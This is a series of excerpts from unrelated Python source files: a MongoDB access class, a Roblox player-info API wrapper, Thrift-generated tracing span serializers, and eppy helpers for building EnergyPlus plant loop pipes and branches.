self._config["documents"]["investment_recommendation"]["database_name"],
self._config["documents"]["investment_recommendation"]["collection_name"],
filter
)
self._debug(function_name, "Finish\nResult:\t%s" % str(result))
return result
except RuntimeError as err:
err_msg = "%s -- %s -- Failed.\n%s" % (self._class_name, str(err))
raise RuntimeError(err_msg)
def readTaskDocumentBy(self, filter):
"""
Returns dict or None.
Raises RuntimeError.
Arguments:
- filter -- dict -- identifies documents to be read.
"""
try:
self._debug("readTaskDocumentBy", "Start\nfilter:\t%s" % str(filter))
result = self._findOneBy(
self._config["connection"]["host"],
self._config["connection"]["port"],
self._config["user"]["username"],
self._config["user"]["password"],
self._config["documents"]["task"]["database_name"],
self._config["documents"]["task"]["collection_name"],
filter
)
self._debug("readTaskDocumentBy", "Finish\nresult:\t%s" % str(result))
return result
except RuntimeError as err:
err_msg = "%s -- readTaskDocumentBy -- Failed\n%s" % (self._class_name, str(err))
raise RuntimeError(err_msg)
def updateTaskDocument(self, new_values, filter_by):
"""
Returns void.
Raises RuntimeError.
Arguments:
- document -- dict.
"""
try:
self._debug("updateTaskDocument", "Start\nnew_values:\t%s\nfilter_by:\t%s" % (str(new_values), str(filter_by)))
self._update(
self._config["connection"]["host"],
self._config["connection"]["port"],
self._config["user"]["username"],
self._config["user"]["password"],
self._config["documents"]["task"]["database_name"],
self._config["documents"]["task"]["collection_name"],
{ "$set": new_values },
filter_by
)
self._debug("updateTaskDocument", "Finish")
except RuntimeError as err:
err_msg = "%s -- updateTaskDocument -- Failed\n%s" % (self._class_name, str(err))
raise RuntimeError(err_msg)
def _authenticateAs(self, client, username, password):
"""
Returns void.
Raises RuntimeError.
Arguments:
- client -- MongoClient.
- username -- str.
- password -- str.
"""
try:
client["non_applicative_users"].authenticate(username, password)
except Exception as err:
err_msg = "%s -- _authenticateAs -- Failed\n%s" % (
self._class_name, format_exc(DatabaseApi.max_err_chars, err)
)
raise RuntimeError(err_msg)
def _create(self, host, port, username, password, database_name, collection_name, document):
"""
Returns void.
Raises RuntimeError.
Arguments:
- host -- str.
- port -- int.
- username -- str.
- password -- str.
- database_name -- str -- database where the query is to be executed.
- collection_name -- str -- collection name inside the database.
- document -- dict.
"""
client = None
try:
client = self._getClient(host, port)
self._authenticateAs(client, username, password)
database = client[database_name]
collection = database[collection_name]
object_id = collection.insert_one(document).inserted_id
if object_id and isinstance(object_id, ObjectId):
return
raise RuntimeError("Document was not persisted as expected")
except RuntimeError as err:
err_msg = "%s -- _create -- Failed\n%s" % (self._class_name, str(err))
raise RuntimeError(err_msg)
except Exception as err:
err_msg = "%s -- _create -- Failed during the insert query\n%s" % (
self._class_name, format_exc(DatabaseApi.max_err_chars, err)
)
raise RuntimeError(err_msg)
finally:
if client and isinstance(client, MongoClient):
client.close()
def _deleteBy(self, host, port, username, password, database_name, collection_name, filter):
"""
Returns void.
Raises RuntimeError.
Arguments:
- host -- str.
- port -- int.
- username -- str.
- password -- str.
- database_name -- str -- database where the query is to be executed.
- collection_name -- str -- collection name inside the database.
- filter -- dict -- identifies documents to be deleted.
"""
client = None
try:
client = self._getClient(host, port)
self._authenticateAs(client, username, password)
database = client[database_name]
collection = database[collection_name]
removed_document = collection.delete_one(filter)
if removed_document.deleted_count > 0:
return
raise RuntimeError("No documents were found to delete")
except RuntimeError as err:
err_msg = "%s -- _deleteBy -- Failed\n%s" % (self._class_name, str(err))
raise RuntimeError(err_msg)
except Exception as err:
err_msg = "%s -- _deleteBy -- Failed during the delete query\n%s" % (
self._class_name, format_exc(DatabaseApi.max_err_chars, err)
)
raise RuntimeError(err_msg)
finally:
if client and isinstance(client, MongoClient):
client.close()
def _findBy(self, host, port, username, password, database_name, collection_name, filter):
"""
Returns list<dict>.
Raises RuntimeError.
Arguments:
- host -- str.
- port -- int.
- username -- str.
- password -- str.
- database_name | |
import datetime
from .exceptions import PlayerNotFound
from .Classes import *
from .utils import Requests
class PlayerInfo:
def __init__(self, request: Requests, playerID: int):
"""
Represents a ROBLOX User.
**Parameter**
-------------
playerID : int
player ID
request : roblox_py.Requests
Requests Class to do to HTTP requests
"""
self.request = request
self._Id = playerID
self._Ascsss = None
self._following = None
self._badges = None
self._groups = None
self._follower = None
self._friendship = None
self._stuff_following = None
self._stuff_follower = None
async def update(self):
"""
Must be called before using the class else the class will misbehave.
"""
try:
xd = await self.request.request(url=f"https://users.roblox.com/v1/users/{self._Id}", method='get')
if "id" not in xd.keys():
raise PlayerNotFound
self._Ascsss = xd
except ValueError:
raise PlayerNotFound
@property
def display_name(self) -> str:
"""
Returns User's Display Name (if any)
"""
return self._Ascsss["displayName"]
@property
def name(self) -> str:
"""
Returns Username
"""
return self._Ascsss["name"]
def __str__(self):
return self.name
@property
def id(self) -> int:
"""
Returns User's ID
"""
return self._Id
@property
def description(self):
"""
Returns User's Description
"""
oof = self._Ascsss["description"]
if oof == "":
return None
return oof
@property
def is_banned(self) -> bool:
"""
Check if the user is banned or not
"""
return self._Ascsss["isBanned"]
@property
def created_at(self):
"""
Gives the created date in iso8601 format
"""
oof = self._Ascsss["created"]
if oof == "":
return None
return oof
def account_age(self) -> Time:
"""
Returns Account Join Date time from current time
"""
date_time_str = self._Ascsss["created"]
noob = date_time_str[:10]
strp = datetime.datetime.strptime(noob, '%Y-%m-%d')
now = datetime.datetime.utcnow()
diff = now - strp
days = diff.days
months, days = divmod(days, 30)
yrs, months = divmod(months, 12)
return Time(yrs=yrs, month=months, day=days)
def direct_url(self) -> str:
"""
Returns Direct ROBLOX URL of the player
"""
f = self._Id
return f"https://www.roblox.com/users/{f}/profile"
async def avatar(self) -> str:
"""
Returns User's Avatar
"""
p = {
"size": "720x720",
"format": "Png",
}
noob = await self.request.request(url=f"https://thumbnails.roblox.com/v1/users/avatar?userIds={self._Id}",
parms=p)
return noob["data"][0]["imageUrl"]
async def thumbnail(self) -> str:
"""
Returns User's Thumbnail image link
"""
f = self._Id
noob = await self.request.request(
url=f"https://www.roblox.com/headshot-thumbnail/json?userId={f}&width=180&height=180")
return noob['Url']
async def promotion_channel(self) -> PromotionChannel:
"""
Returns User's Promotion Channel
"""
f = self._Id
e = await self.request.request(url=f'https://accountinformation.roblox.com/v1/users/{f}/promotion-channels')
return PromotionChannel(iteam=e)
async def get_public_games(self, limit=None):
"""
Gets User's Public Game
"""
if limit == 0:
return
payload = {'sortOrder': "Asc", "limit": 50}
link = f"https://games.roblox.com/v2/users/{self._Id}/games?accessFilter=Public"
count = 0
stuff = await self.request.request(url=link, parms=payload)
count += 1
_lists = []
while True:
for bill in stuff['data']:
pp = bill.get('name')
pp1 = bill.get("id")
_lists.append(PartialInfo(name=pp, id=pp1))
if stuff["nextPageCursor"] is None or stuff["nextPageCursor"] == "null":
break
if count == limit:
break
payload = {
'cursor': stuff["nextPageCursor"],
"limit": 100,
"sortOrder": "Asc"}
stuff = await self.request.request(url=link, parms=payload)
count += 1
return _lists
async def _stats_games_public(self, format1):
parms = {"limit": 50, "sortOrder": f"{format1}"}
link = f"https://games.roblox.com/v2/users/{self._Id}/games?accessFilter=Public"
stuff = await self.request.request(url=link, parms=parms)
_lists = []
if stuff['data'] is None or stuff['data'] == "null":
return None
try:
return PartialInfo(
name=stuff['data'][0]["name"],
id=stuff['data'][0]["id"])
except IndexError:
return None
async def oldest_public_game(self):
"""
Returns User's Oldest Public Game
"""
_lists = await self._stats_games_public("Asc")
try:
return _lists
except IndexError:
return None
async def newest_public_game(self):
"""
Returns User's Newest Public Game
"""
_lists = await self._stats_games_public("Desc")
try:
return _lists
except IndexError:
return None
async def friends(self) -> list:
"""
Returns User's Friends
"""
if self._friendship is None:
self._friendship = await self.request.request(url=f"https://friends.roblox.com/v1/users/{self._Id}/friends")
_lists = [PartialInfo(id=bill.get('id'), name=bill.get('name'))
for bill in self._friendship["data"]]
return _lists
async def newest_friend(self):
"""
Returns User's Newest Friend
"""
try:
if self._friendship is None:
self._friendship = await self.request.request(
url=f"https://friends.roblox.com/v1/users/{self._Id}/friends")
return PartialInfo(
id=self._friendship["data"][0]["id"],
name=self._friendship['data'][0]['name'])
except IndexError:
return None
async def friends_count(self) -> int:
"""
Gets User's Friend Count
"""
ff = await self.request.request(url=f"https://friends.roblox.com/v1/users/{self._Id}/friends/count")
return ff["count"]
async def oldest_friend(self):
"""
Gets User's Oldest Friend
"""
if self._friendship is None:
self._friendship = await self.request.request(url=f"https://friends.roblox.com/v1/users/{self._Id}/friends")
f = self._friendship
if len(f["data"]) == 0:
return None
else:
d = len(f["data"]) - 1
return PartialInfo(
id=self._friendship["data"][d]["id"],
name=self._friendship['data'][d]['name'])
async def _stats_following(self, format1):
parms = {"limit": 100, "sortOrder": f"{format1}"}
link = f"https://friends.roblox.com/v1/users/{self._Id}/followings"
stuff = await self.request.request(link, parms=parms)
_lists = []
if stuff['data'] is None or stuff['data'] == "null":
return None
try:
return PartialInfo(
id=stuff["data"][0]["id"],
name=stuff['data'][0]['name'])
except IndexError:
return None
async def following(self, limit=None):
"""
Gets User's Following
"""
if limit == 0:
return
count = 0
if self._stuff_following is None:
parms = {"limit": 100, "sortOrder": "Asc"}
self._stuff_following = await self.request.request(
url=f"https://friends.roblox.com/v1/users/{self._Id}/followings", parms=parms)
count += 1
link = f"https://friends.roblox.com/v1/users/{self._Id}/followings"
stuff = self._stuff_following
_lists = []
while True:
for bill in stuff['data']:
pp = bill.get('id')
pp1 = bill.get('name')
_lists.append(PartialInfo(id=pp, name=pp1))
if stuff["nextPageCursor"] is None or stuff["nextPageCursor"] == "null":
break
if count == limit:
break
payload = {
'cursor': stuff["nextPageCursor"],
"limit": 100,
"sortOrder": "Asc"}
stuff = await self.request.request(link, parms=payload)
count += 1
return _lists
async def newest_following(self):
"""
Gets User's Newest Following
"""
_lists = await self._stats_following("Desc")
if _lists is None:
return None
try:
return _lists
except IndexError:
return None
async def oldest_following(self):
"""
Gets User's Oldest Following
"""
_lists = await self._stats_following("Asc")
if _lists is None:
return None
try:
return _lists
except IndexError:
return None
async def following_count(self) -> int:
"""
Gets User's Number of Following
"""
_count = await self.request.request(url=f"https://friends.roblox.com/v1/users/{self._Id}/followings/count")
return _count["count"]
async def groups(self):
"""
Gets User's Group
"""
if self._groups is None:
self._groups = await self.request.request(url=f"https://groups.roblox.com/v2/users/{self._Id}/groups/roles")
f = self._groups
_lists = [
PartialInfo(
id=bill['group']['id'],
name=bill['group']['name']) for bill in f['data']]
if _lists is []:
return None
return _lists
async def newest_group(self):
"""
Gets User's Newest Group
"""
if self._groups is None:
self._groups = await self.request.request(url=f"https://groups.roblox.com/v2/users/{self._Id}/groups/roles")
f = self._groups
try:
return PartialInfo(
id=f['data'][0]['group']['id'],
name=f['data'][0]['group']['name'])
except IndexError:
return None
async def oldest_group(self):
"""
Gets User's Oldest Group
"""
if self._groups is None:
self._groups = await self.request.request(url=f"https://groups.roblox.com/v2/users/{self._Id}/groups/roles")
n = self._groups['data']
if len(n) == 0:
return None
else:
d = len(n) - 1
return PartialInfo(
id=n[d]['group']['id'],
name=n[d]['group']['name'])
async def group_count(self) -> int:
"""
Gets the joined group count of the user
"""
if self._groups is None:
self._groups = await self.request.request(url=f"https://groups.roblox.com/v2/users/{self._Id}/groups/roles")
if len(self._groups['data']) == 0:
return 0
else:
return len(self._groups['data'])
async def primary_group(self):
"""
Gets Primary Group of the user
"""
ok = await self.request.request(f"https://groups.roblox.com/v1/users/{self._Id}/groups/primary/role")
try:
return PartialInfo(id=ok["group"]["id"], name=ok["group"]["name"])
except KeyError:
return None
async def roblox_badges(self) -> list:
"""
Returns List of Roblox Badge
"""
if self._badges is None:
self._badges = await self.request.request(url=f"https://www.roblox.com/badges/roblox?userId={self._Id}")
mm = self._badges
_lists = [item["Name"] for item in mm["RobloxBadges"]]
return _lists
async def _stats_badge(self, format1):
f = self._Id
parms = {"limit": 100, "sortOrder": f"{format1}"}
link = f"https://badges.roblox.com/v1/users/{f}/badges"
stuff = await self.request.request(link, parms=parms)
_lists = []
if stuff['data'] is None or stuff['data'] == "null":
return None
try:
return PartialInfo(
name=stuff['data'][0]["name"],
id=stuff['data'][0]["id"])
except IndexError:
return None
async def badges(self, limit=None):
"""
Returns List of Badge of the user
"""
if limit == 0:
return
f = self._Id
parms = {"limit": 100, "sortOrder": "Asc"}
link = f"https://badges.roblox.com/v1/users/{f}/badges"
count = 0
stuff = await self.request.request(link, parms=parms)
count += 1
_lists = []
if stuff['data'] is None or stuff['data'] == "null":
return []
while True:
for bill in stuff['data']:
pp = bill.get('name')
pp1 = bill.get('id')
_lists.append(PartialInfo(name=pp, id=pp1))
if stuff["nextPageCursor"] is None or stuff["nextPageCursor"] == "null":
break
if count == limit:
break
payload = {
'cursor': stuff["nextPageCursor"],
"limit": 100,
"sortOrder": "Asc"}
stuff = await self.request.request(link, parms=payload)
count += 1
return _lists
async def count_roblox_badges(self):
"""
Gets the number of Roblox Badges
"""
if self._badges is None:
self._badges = await self.request.request(url=f"https://www.roblox.com/badges/roblox?userId={self._Id}")
return len(self._badges) if not None else 0
async def newest_badge(self):
"""
Gets the newest game badge
"""
_lists = await self._stats_badge("Desc")
if _lists is None:
return None
try:
return _lists
except IndexError:
return
async def oldest_badge(self):
"""
Gets the oldest game badge
"""
_lists = await self._stats_badge("Asc")
if _lists is None:
return None
try:
return _lists
except IndexError:
return
async def _stats_follower(self, format1):
parms = {"limit": 100, "sortOrder": f"{format1}"}
link = f"https://friends.roblox.com/v1/users/{self._Id}/followers"
stuff = await self.request.request(link, parms=parms)
_lists = []
if stuff['data'] is None or stuff['data'] == "null":
return None
try:
return PartialInfo(
id=stuff["data"][0]["id"],
name=stuff['data'][0]['name'])
except IndexError:
return None
async def followers(self, limit=None):
"""
Gets the followers of | |
else:
iprot.skip(ftype)
elif fid == 15:
if ftype == TType.LIST:
self.annotations = []
(_etype10, _size7) = iprot.readListBegin()
for _i11 in range(_size7):
_elem12 = TAnnotation()
_elem12.read(iprot)
self.annotations.append(_elem12)
iprot.readListEnd()
else:
iprot.skip(ftype)
elif fid == 16:
if ftype == TType.I16:
self.flag = iprot.readI16()
else:
iprot.skip(ftype)
elif fid == 17:
if ftype == TType.I32:
self.err = iprot.readI32()
else:
iprot.skip(ftype)
elif fid == 18:
if ftype == TType.LIST:
self.spanEventList = []
(_etype16, _size13) = iprot.readListBegin()
for _i17 in range(_size13):
_elem18 = TSpanEvent()
_elem18.read(iprot)
self.spanEventList.append(_elem18)
iprot.readListEnd()
else:
iprot.skip(ftype)
elif fid == 19:
if ftype == TType.STRING:
self.parentApplicationName = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 20:
if ftype == TType.I16:
self.parentApplicationType = iprot.readI16()
else:
iprot.skip(ftype)
elif fid == 21:
if ftype == TType.STRING:
self.acceptorHost = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 25:
if ftype == TType.I32:
self.apiId = iprot.readI32()
else:
iprot.skip(ftype)
elif fid == 26:
if ftype == TType.STRUCT:
self.exceptionInfo = TIntStringValue()
self.exceptionInfo.read(iprot)
else:
iprot.skip(ftype)
elif fid == 30:
if ftype == TType.I16:
self.applicationServiceType = iprot.readI16()
else:
iprot.skip(ftype)
elif fid == 31:
if ftype == TType.BYTE:
self.loggingTransactionInfo = iprot.readByte()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('TSpan')
if self.agentId is not None:
oprot.writeFieldBegin('agentId', TType.STRING, 1)
oprot.writeString(self.agentId.encode('utf-8') if sys.version_info[0] == 2 else self.agentId)
oprot.writeFieldEnd()
if self.applicationName is not None:
oprot.writeFieldBegin('applicationName', TType.STRING, 2)
oprot.writeString(self.applicationName.encode('utf-8') if sys.version_info[0] == 2 else self.applicationName)
oprot.writeFieldEnd()
if self.agentStartTime is not None:
oprot.writeFieldBegin('agentStartTime', TType.I64, 3)
oprot.writeI64(self.agentStartTime)
oprot.writeFieldEnd()
if self.transactionId is not None:
oprot.writeFieldBegin('transactionId', TType.STRING, 4)
oprot.writeBinary(self.transactionId)
oprot.writeFieldEnd()
if self.spanId is not None:
oprot.writeFieldBegin('spanId', TType.I64, 7)
oprot.writeI64(self.spanId)
oprot.writeFieldEnd()
if self.parentSpanId is not None:
oprot.writeFieldBegin('parentSpanId', TType.I64, 8)
oprot.writeI64(self.parentSpanId)
oprot.writeFieldEnd()
if self.startTime is not None:
oprot.writeFieldBegin('startTime', TType.I64, 9)
oprot.writeI64(self.startTime)
oprot.writeFieldEnd()
if self.elapsed is not None:
oprot.writeFieldBegin('elapsed', TType.I32, 10)
oprot.writeI32(self.elapsed)
oprot.writeFieldEnd()
if self.rpc is not None:
oprot.writeFieldBegin('rpc', TType.STRING, 11)
oprot.writeString(self.rpc.encode('utf-8') if sys.version_info[0] == 2 else self.rpc)
oprot.writeFieldEnd()
if self.serviceType is not None:
oprot.writeFieldBegin('serviceType', TType.I16, 12)
oprot.writeI16(self.serviceType)
oprot.writeFieldEnd()
if self.endPoint is not None:
oprot.writeFieldBegin('endPoint', TType.STRING, 13)
oprot.writeString(self.endPoint.encode('utf-8') if sys.version_info[0] == 2 else self.endPoint)
oprot.writeFieldEnd()
if self.remoteAddr is not None:
oprot.writeFieldBegin('remoteAddr', TType.STRING, 14)
oprot.writeString(self.remoteAddr.encode('utf-8') if sys.version_info[0] == 2 else self.remoteAddr)
oprot.writeFieldEnd()
if self.annotations is not None:
oprot.writeFieldBegin('annotations', TType.LIST, 15)
oprot.writeListBegin(TType.STRUCT, len(self.annotations))
for iter19 in self.annotations:
iter19.write(oprot)
oprot.writeListEnd()
oprot.writeFieldEnd()
if self.flag is not None:
oprot.writeFieldBegin('flag', TType.I16, 16)
oprot.writeI16(self.flag)
oprot.writeFieldEnd()
if self.err is not None:
oprot.writeFieldBegin('err', TType.I32, 17)
oprot.writeI32(self.err)
oprot.writeFieldEnd()
if self.spanEventList is not None:
oprot.writeFieldBegin('spanEventList', TType.LIST, 18)
oprot.writeListBegin(TType.STRUCT, len(self.spanEventList))
for iter20 in self.spanEventList:
iter20.write(oprot)
oprot.writeListEnd()
oprot.writeFieldEnd()
if self.parentApplicationName is not None:
oprot.writeFieldBegin('parentApplicationName', TType.STRING, 19)
oprot.writeString(self.parentApplicationName.encode('utf-8') if sys.version_info[0] == 2 else self.parentApplicationName)
oprot.writeFieldEnd()
if self.parentApplicationType is not None:
oprot.writeFieldBegin('parentApplicationType', TType.I16, 20)
oprot.writeI16(self.parentApplicationType)
oprot.writeFieldEnd()
if self.acceptorHost is not None:
oprot.writeFieldBegin('acceptorHost', TType.STRING, 21)
oprot.writeString(self.acceptorHost.encode('utf-8') if sys.version_info[0] == 2 else self.acceptorHost)
oprot.writeFieldEnd()
if self.apiId is not None:
oprot.writeFieldBegin('apiId', TType.I32, 25)
oprot.writeI32(self.apiId)
oprot.writeFieldEnd()
if self.exceptionInfo is not None:
oprot.writeFieldBegin('exceptionInfo', TType.STRUCT, 26)
self.exceptionInfo.write(oprot)
oprot.writeFieldEnd()
if self.applicationServiceType is not None:
oprot.writeFieldBegin('applicationServiceType', TType.I16, 30)
oprot.writeI16(self.applicationServiceType)
oprot.writeFieldEnd()
if self.loggingTransactionInfo is not None:
oprot.writeFieldBegin('loggingTransactionInfo', TType.BYTE, 31)
oprot.writeByte(self.loggingTransactionInfo)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class TSpanChunk(object):
"""
Attributes:
- agentId
- applicationName
- agentStartTime
- serviceType
- transactionId
- spanId
- endPoint
- spanEventList
- applicationServiceType
"""
def __init__(self, agentId=None, applicationName=None, agentStartTime=None, serviceType=None, transactionId=None, spanId=None, endPoint=None, spanEventList=None, applicationServiceType=None,):
self.agentId = agentId
self.applicationName = applicationName
self.agentStartTime = agentStartTime
self.serviceType = serviceType
self.transactionId = transactionId
self.spanId = spanId
self.endPoint = endPoint
self.spanEventList = spanEventList
self.applicationServiceType = applicationServiceType
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.agentId = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.applicationName = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.I64:
self.agentStartTime = iprot.readI64()
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.I16:
self.serviceType = iprot.readI16()
else:
iprot.skip(ftype)
elif fid == 5:
if ftype == TType.STRING:
self.transactionId = iprot.readBinary()
else:
iprot.skip(ftype)
elif fid == 8:
if ftype == TType.I64:
self.spanId = iprot.readI64()
else:
iprot.skip(ftype)
elif fid == 9:
if ftype == TType.STRING:
self.endPoint = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 10:
if ftype == TType.LIST:
self.spanEventList = []
(_etype24, _size21) = iprot.readListBegin()
for _i25 in range(_size21):
_elem26 = TSpanEvent()
_elem26.read(iprot)
self.spanEventList.append(_elem26)
iprot.readListEnd()
else:
iprot.skip(ftype)
elif fid == 11:
if ftype == TType.I16:
self.applicationServiceType = iprot.readI16()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('TSpanChunk')
if self.agentId is not None:
oprot.writeFieldBegin('agentId', TType.STRING, 1)
oprot.writeString(self.agentId.encode('utf-8') if sys.version_info[0] == 2 else self.agentId)
oprot.writeFieldEnd()
if self.applicationName is not None:
oprot.writeFieldBegin('applicationName', TType.STRING, 2)
oprot.writeString(self.applicationName.encode('utf-8') if sys.version_info[0] == 2 else self.applicationName)
oprot.writeFieldEnd()
if self.agentStartTime is not None:
oprot.writeFieldBegin('agentStartTime', TType.I64, 3)
oprot.writeI64(self.agentStartTime)
oprot.writeFieldEnd()
if self.serviceType is not None:
oprot.writeFieldBegin('serviceType', TType.I16, 4)
oprot.writeI16(self.serviceType)
oprot.writeFieldEnd()
if self.transactionId is not None:
oprot.writeFieldBegin('transactionId', TType.STRING, 5)
oprot.writeBinary(self.transactionId)
oprot.writeFieldEnd()
if self.spanId is not None:
oprot.writeFieldBegin('spanId', TType.I64, 8)
oprot.writeI64(self.spanId)
oprot.writeFieldEnd()
if self.endPoint is not None:
oprot.writeFieldBegin('endPoint', TType.STRING, 9)
oprot.writeString(self.endPoint.encode('utf-8') if sys.version_info[0] == 2 else self.endPoint)
oprot.writeFieldEnd()
if self.spanEventList is not None:
oprot.writeFieldBegin('spanEventList', TType.LIST, 10)
oprot.writeListBegin(TType.STRUCT, len(self.spanEventList))
for iter27 in self.spanEventList:
iter27.write(oprot)
oprot.writeListEnd()
oprot.writeFieldEnd()
if self.applicationServiceType is not None:
oprot.writeFieldBegin('applicationServiceType', TType.I16, 11)
oprot.writeI16(self.applicationServiceType)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class TStringMetaData(object):
"""
Attributes:
- agentId
- agentStartTime
- stringId
- stringValue
"""
def __init__(self, agentId=None, agentStartTime=None, stringId=None, stringValue=None,):
self.agentId = agentId
self.agentStartTime = agentStartTime
self.stringId = stringId
self.stringValue = stringValue
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.agentId = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.I64:
self.agentStartTime = iprot.readI64()
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.I32:
self.stringId = iprot.readI32()
else:
iprot.skip(ftype)
elif fid == 5:
if ftype == TType.STRING:
self.stringValue = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('TStringMetaData')
if self.agentId is not None:
oprot.writeFieldBegin('agentId', TType.STRING, 1)
oprot.writeString(self.agentId.encode('utf-8') if sys.version_info[0] == 2 else self.agentId)
oprot.writeFieldEnd()
if self.agentStartTime is not None:
oprot.writeFieldBegin('agentStartTime', TType.I64, 2)
oprot.writeI64(self.agentStartTime)
oprot.writeFieldEnd()
if self.stringId is not None:
oprot.writeFieldBegin('stringId', TType.I32, 4)
oprot.writeI32(self.stringId)
oprot.writeFieldEnd()
if self.stringValue is not None:
oprot.writeFieldBegin('stringValue', TType.STRING, 5)
oprot.writeString(self.stringValue.encode('utf-8') if sys.version_info[0] == 2 else self.stringValue)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class TSqlMetaData(object):
"""
Attributes:
- agentId
- agentStartTime
- sqlId
- sql
"""
def __init__(self, agentId=None, agentStartTime=None, sqlId=None, sql=None,):
self.agentId = agentId
self.agentStartTime = agentStartTime
self.sqlId = sqlId
self.sql = sql
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.agentId = iprot.readString().decode('utf-8') if sys.version_info[0] == | |
# Copyright (c) 2012 <NAME>
# =======================================================================
# Distributed under the MIT License.
# (See accompanying file LICENSE or copy at
# http://opensource.org/licenses/MIT)
# =======================================================================
"""make plant loop snippets"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import copy
import eppy.bunch_subclass as bunch_subclass
from eppy.modeleditor import IDF
import eppy.modeleditor as modeleditor
class WhichLoopError(Exception):
pass
class SomeFields(object):
"""Some fields"""
c_fields = [
"Condenser Side Inlet Node Name",
"Condenser Side Outlet Node Name",
"Condenser Side Branch List Name",
"Condenser Side Connector List Name",
"Demand Side Inlet Node Name",
"Demand Side Outlet Node Name",
"Condenser Demand Side Branch List Name",
"Condenser Demand Side Connector List Name",
]
p_fields = [
"Plant Side Inlet Node Name",
"Plant Side Outlet Node Name",
"Plant Side Branch List Name",
"Plant Side Connector List Name",
"Demand Side Inlet Node Name",
"Demand Side Outlet Node Name",
"Demand Side Branch List Name",
"Demand Side Connector List Name",
]
a_fields = [
"Branch List Name",
"Connector List Name",
"Supply Side Inlet Node Name",
"Demand Side Outlet Node Name",
"Demand Side Inlet Node Names",
"Supply Side Outlet Node Names",
]
def flattencopy(lst):
"""flatten and return a copy of the list
indefficient on large lists"""
# modified from
# http://stackoverflow.com/questions/2158395/flatten-an-irregular-list-of-lists-in-python
thelist = copy.deepcopy(lst)
list_is_nested = True
while list_is_nested: # outer loop
keepchecking = False
atemp = []
for element in thelist: # inner loop
if isinstance(element, list):
atemp.extend(element)
keepchecking = True
else:
atemp.append(element)
list_is_nested = keepchecking # determine if outer loop exits
thelist = atemp[:]
return thelist
def makepipecomponent(idf, pname):
"""make a pipe component
generate inlet outlet names"""
apipe = idf.newidfobject("Pipe:Adiabatic".upper(), Name=pname)
apipe.Inlet_Node_Name = "%s_inlet" % (pname,)
apipe.Outlet_Node_Name = "%s_outlet" % (pname,)
return apipe
def makeductcomponent(idf, dname):
"""make a duct component
generate inlet outlet names"""
aduct = idf.newidfobject("duct".upper(), Name=dname)
aduct.Inlet_Node_Name = "%s_inlet" % (dname,)
aduct.Outlet_Node_Name = "%s_outlet" % (dname,)
return aduct
def makepipebranch(idf, bname):
"""make a branch with a pipe
use standard inlet outlet names"""
# make the pipe component first
pname = "%s_pipe" % (bname,)
apipe = makepipecomponent(idf, pname)
# now make the branch with the pipe in it
abranch = idf.newidfobject("BRANCH", Name=bname)
